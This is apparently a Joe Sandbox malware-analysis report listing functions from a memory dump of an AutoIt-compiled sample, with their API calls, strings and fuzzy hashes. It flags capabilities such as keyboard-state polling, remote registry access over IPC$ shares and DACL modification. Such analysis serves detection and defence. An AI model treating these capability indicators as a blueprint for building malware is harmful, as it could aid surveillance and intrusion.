Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction Fuzzy Hash: 27B1EF72B0968296EB19FF25D8086F9A760FB44B94F800031DE1987796DF3EF554C7A0

Function 00007FF7C0EC176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF7C0EC17DA
GetWindowTextW.USER32 ref: 00007FF7C0EC1815
CharUpperBuffW.USER32 ref: 00007FF7C0EC1833
wcsstr.LIBVCRUNTIME ref: 00007FF7C0EC1866
GetClassNameW.USER32 ref: 00007FF7C0EC189C
GetWindowTextW.USER32 ref: 00007FF7C0EC18D0
GetClassNameW.USER32 ref: 00007FF7C0EC191B
GetClassNameW.USER32 ref: 00007FF7C0EC1951
GetWindowRect.USER32 ref: 00007FF7C0EC19CF

Strings

ThumbnailClass, xrefs: 00007FF7C0EC18A7, 00007FF7C0EC1926

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction ID: dcd1273d4198d862dde896970026ecb2b08dcb04ce0c562fd950e2f34a3a1d78
Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction Fuzzy Hash: 27A1A633A4C64243EA28BF15D4446B9E761FB85BA4F844035CA8E83B95DF3EF545CB90

Function 00007FF7C0E51504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF7C0E512EF), ref: 00007FF7C0E999AC
ExtractIconExW.SHELL32 ref: 00007FF7C0E999CD
LoadImageW.USER32 ref: 00007FF7C0E999EB
ExtractIconExW.SHELL32 ref: 00007FF7C0E99A0C
SendMessageW.USER32 ref: 00007FF7C0E99A2F
DestroyIcon.USER32 ref: 00007FF7C0E99A3E
SendMessageW.USER32 ref: 00007FF7C0E99A64
DestroyIcon.USER32 ref: 00007FF7C0E99A73

Strings

P, xrefs: 00007FF7C0E999D3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 391912b782e34e5c133d3c456d66f0f122831bba56694bdb9658cc847aed79ea
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: 13618235A48A418AEB54FF65D8406B9A7A0FB84FB8F944535EE0E83794DF3CF4848790

Function 00007FF7C0ED34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7C0ED354D
LoadStringW.USER32 ref: 00007FF7C0ED3571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0ED36CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0ED36E7

Strings

Line %d (File "%s"):, xrefs: 00007FF7C0ED35C0
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF7C0ED36B2
Error: , xrefs: 00007FF7C0ED367B
^ ERROR, xrefs: 00007FF7C0ED364A
"%s" (%d) : ==> %s:, xrefs: 00007FF7C0ED36D9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction ID: 4544d15b686756d4518f03dc2f1402aea5b25ae06011bbe0e21c90396bacff9c
Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction Fuzzy Hash: 73715E22A6CA5292EB40FF61E4404EDA360FB44764FC01432EA5D87799DF7CF546C790

Function 00007FF7C0EBC034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF7C0EBC143
RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EBC164
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EBC193
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EBC1CD
CLSIDFromString.OLE32 ref: 00007FF7C0EBC1F4
RegCloseKey.ADVAPI32 ref: 00007FF7C0EBC203
RegCloseKey.ADVAPI32 ref: 00007FF7C0EBC20E

Strings

SOFTWARE\Classes\, xrefs: 00007FF7C0EBC088
\IPC$, xrefs: 00007FF7C0EBC118
\CLSID, xrefs: 00007FF7C0EBC0A6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: 5e5eb5af7367aabd767edc062ca8ae1ae71a1f35caa74c15b00410592e2e9513
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: FC51B722618E8295EB10FF65E4941EDA760FB847A4F800031EE4D87BB5DF7CE585C790

Function 00007FF7C0EFAD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

MoveWindow.USER32 ref: 00007FF7C0EFAE48
CreateCompatibleDC.GDI32 ref: 00007FF7C0EFAE50
SendMessageW.USER32 ref: 00007FF7C0EFAE67
SelectObject.GDI32 ref: 00007FF7C0EFAE73
GetPixel.GDI32 ref: 00007FF7C0EFAE81
DeleteDC.GDI32 ref: 00007FF7C0EFAE8C
GetWindowLongW.USER32 ref: 00007FF7C0EFAE9A
SetLayeredWindowAttributes.USER32 ref: 00007FF7C0EFAEB4
DestroyWindow.USER32 ref: 00007FF7C0EFAEBE

Strings

static, xrefs: 00007FF7C0EFAD5D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
String ID: static
API String ID: 3821898125-2160076837
Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction ID: fedfc104954f119655469c82b937aacd7609d917a5a946f68445b11c53cdc417
Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
Instruction Fuzzy Hash: 0441613260C781CBE760AF25E44475AB361FB88BA4F904235DA9D87B98CF3CE484CB50

Function 00007FF7C0EBC858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBCD34: GetUserObjectSecurity.USER32 ref: 00007FF7C0EBCD65
Part of subcall function 00007FF7C0EBCD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7C0EBC65A), ref: 00007FF7C0EBCD71
Part of subcall function 00007FF7C0EBCD34: GetUserObjectSecurity.USER32 ref: 00007FF7C0EBCD9C

Part of subcall function 00007FF7C0EBCE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF7C0EBC66F), ref: 00007FF7C0EBCE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF7C0EBC8E7
GetAclInformation.ADVAPI32 ref: 00007FF7C0EBC921
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC932
GetAce.ADVAPI32 ref: 00007FF7C0EBC970
AddAce.ADVAPI32 ref: 00007FF7C0EBC997
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC9AF
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC9D2
CopySid.ADVAPI32 ref: 00007FF7C0EBC9E1
AddAce.ADVAPI32 ref: 00007FF7C0EBCA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF7C0EBCA4B
SetUserObjectSecurity.USER32 ref: 00007FF7C0EBCA60

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: 4145332ed9c41f73a89c131483255f3d992f6cb55c09cc7ec56b460ff46b3b2f
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: B261B122B0865286FB00FF61D8445AD77A4FB44BA8F844136DE4E93795DF38E885C3E4

Function 00007FF7C0EC7BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF7C0EC7BD0
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7C3F
GetKeyState.USER32 ref: 00007FF7C0EC7C54
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7C6D
GetKeyState.USER32 ref: 00007FF7C0EC7C7D
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7C97
GetKeyState.USER32 ref: 00007FF7C0EC7CA7
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7CC1
GetKeyState.USER32 ref: 00007FF7C0EC7CD1
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7CEB
GetKeyState.USER32 ref: 00007FF7C0EC7CFB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: e2313a6b7a3da8bdbc8fb73854c277005cf53a37ee9992bb5f85eae3837a2c1b
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 96414F21E4C7C256FB71BF619400779EA90BB15B64F888039D6CA837C1CF5EBA9483B1

Function 00007FF7C0E5E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E56838: CreateFileW.KERNELBASE ref: 00007FF7C0E568A2

Part of subcall function 00007FF7C0E74380: GetCurrentDirectoryW.KERNEL32(?,00007FF7C0E5E817), ref: 00007FF7C0E7439C

Part of subcall function 00007FF7C0E556D4: GetFullPathNameW.KERNEL32(?,00007FF7C0E556C1,?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E556FF

SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0E5E8B0
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0E5E9FA

Part of subcall function 00007FF7C0E59F10: wcscpy.LIBCMT ref: 00007FF7C0E59F61

Strings

EA06, xrefs: 00007FF7C0EAA0BB
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF7C0EAA07A
>>>AUTOIT SCRIPT<<<, xrefs: 00007FF7C0EAA109
AU3!, xrefs: 00007FF7C0E5E85F
Error opening the file, xrefs: 00007FF7C0EAA09B, 00007FF7C0EAA428
Unterminated string, xrefs: 00007FF7C0EAA483
Bad directive syntax error, xrefs: 00007FF7C0EAA3FB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-1018226102
Opcode ID: aaab2590e2c55f620f3c197b1437531a6294d3c91516e62f4c10d2dd04024f34
Instruction ID: e90cf4325942daa74583732636e3b4bc2dd92705a67ebd673b3dfc32647b5a6f
Opcode Fuzzy Hash: aaab2590e2c55f620f3c197b1437531a6294d3c91516e62f4c10d2dd04024f34
Instruction Fuzzy Hash: FD129F22A5CA5286EB10FF25D4401BEA760FB847A4FC40532EA8D8779ADF7CF545C7A0

Function 00007FF7C0EE66B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7C0EE6717
CoUninitialize.OLE32 ref: 00007FF7C0EE6721
CoCreateInstance.OLE32 ref: 00007FF7C0EE6791
IIDFromString.OLE32 ref: 00007FF7C0EE6810
VariantInit.OLEAUT32 ref: 00007FF7C0EE68AF
VariantClear.OLEAUT32 ref: 00007FF7C0EE6900

Strings

Invalid parameter, xrefs: 00007FF7C0EE6828
Failed to create object, xrefs: 00007FF7C0EE679B
NULL Pointer assignment, xrefs: 00007FF7C0EE67DE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction ID: 265b7c21de5a6002b058a80f802cff86ae25a6eb577a3aba8d82cf69c066d34e
Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction Fuzzy Hash: 78715022A48A4A85EB14BF26D4401BDA764FF44BE8F945432DE1E87765DF3CF885C3A0

Function 00007FF7C0EE2A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF7C0EE2A8F
inet_addr.WSOCK32 ref: 00007FF7C0EE2AED
gethostbyname.WSOCK32 ref: 00007FF7C0EE2AFA
IcmpCreateFile.IPHLPAPI ref: 00007FF7C0EE2B08
IcmpSendEcho.IPHLPAPI ref: 00007FF7C0EE2BAD
IcmpCloseHandle.IPHLPAPI ref: 00007FF7C0EE2C77
WSACleanup.WSOCK32 ref: 00007FF7C0EE2C7D

Strings

5, xrefs: 00007FF7C0EE2B79
Ping, xrefs: 00007FF7C0EE2B3F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
String ID: 5$Ping
API String ID: 1486594354-1972892582
Opcode ID: bb2382a12e0c24691fe7b3e346173c7f34f853a6c0b3323caf9ace7604140cef
Instruction ID: 6ae053dbec67af3f32cf0289972748f06835c120d3be2d909926b541fa059c67
Opcode Fuzzy Hash: bb2382a12e0c24691fe7b3e346173c7f34f853a6c0b3323caf9ace7604140cef
Instruction Fuzzy Hash: F4716D62A48A4682EB20FF25D48437DB760FF84BA4F918535DB5E87392CF7CE44187A0

Function 00007FF7C0E8D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8D681

Strings

nan(ind), xrefs: 00007FF7C0E8D5BA
NAN, xrefs: 00007FF7C0E8D565
INF, xrefs: 00007FF7C0E8D577
nan, xrefs: 00007FF7C0E8D56C
inf, xrefs: 00007FF7C0E8D58A
NAN(SNAN), xrefs: 00007FF7C0E8D599
NAN(IND), xrefs: 00007FF7C0E8D5AF
nan(snan), xrefs: 00007FF7C0E8D5A4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: 028b8c2d3e3ee82cc362670cde039d909f0b79ba32e9f3c4a96772747dfa9e02
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: A2418F32A09B85C9FB54EF25E8517A973A4FB043A8F804236EE5C87B55DF38E065C390

Function 00007FF7C0ED59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7C0ED59FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF7C0ED5A86
GetLastError.KERNEL32 ref: 00007FF7C0ED5A90
SetErrorMode.KERNEL32 ref: 00007FF7C0ED5B17

Strings

READONLY, xrefs: 00007FF7C0ED5AC4
UNKNOWN, xrefs: 00007FF7C0ED5AB0
INVALID, xrefs: 00007FF7C0ED5ACD
NOTREADY, xrefs: 00007FF7C0ED5AB7
READY, xrefs: 00007FF7C0ED5AD6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: 9a91289dfc9d6683689d60db16af5319e58c7951be215018a0798418de794dec
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: 94415C37A48B1295EB10BF25D4801BCA771FB88BA8F885532DA0D83755EF78F585C7A0

Function 00007FF7C0EC76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF7C0E9C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF7C0E53F7D), ref: 00007FF7C0EC770E
LoadStringW.USER32 ref: 00007FF7C0EC7728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0EC776B
MessageBoxW.USER32 ref: 00007FF7C0EC77FF

Strings

Line %d (File "%s"):, xrefs: 00007FF7C0EC7792
Error: , xrefs: 00007FF7C0EC77BE
., xrefs: 00007FF7C0EC77DC
%s (%d) : ==> %s.: %s %s, xrefs: 00007FF7C0EC7755
Line %d:, xrefs: 00007FF7C0EC7781

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction ID: 8e415bbbfea756217fd68597fd6a4068f72c6161a30724911ebebc51d2491d1e
Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction Fuzzy Hash: 5F316232A5CE8691EB10FF21E4445ADA361FB44BA4FC44032EA8D83799DF7CE645C7A0

Function 00007FF7C0EBE1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

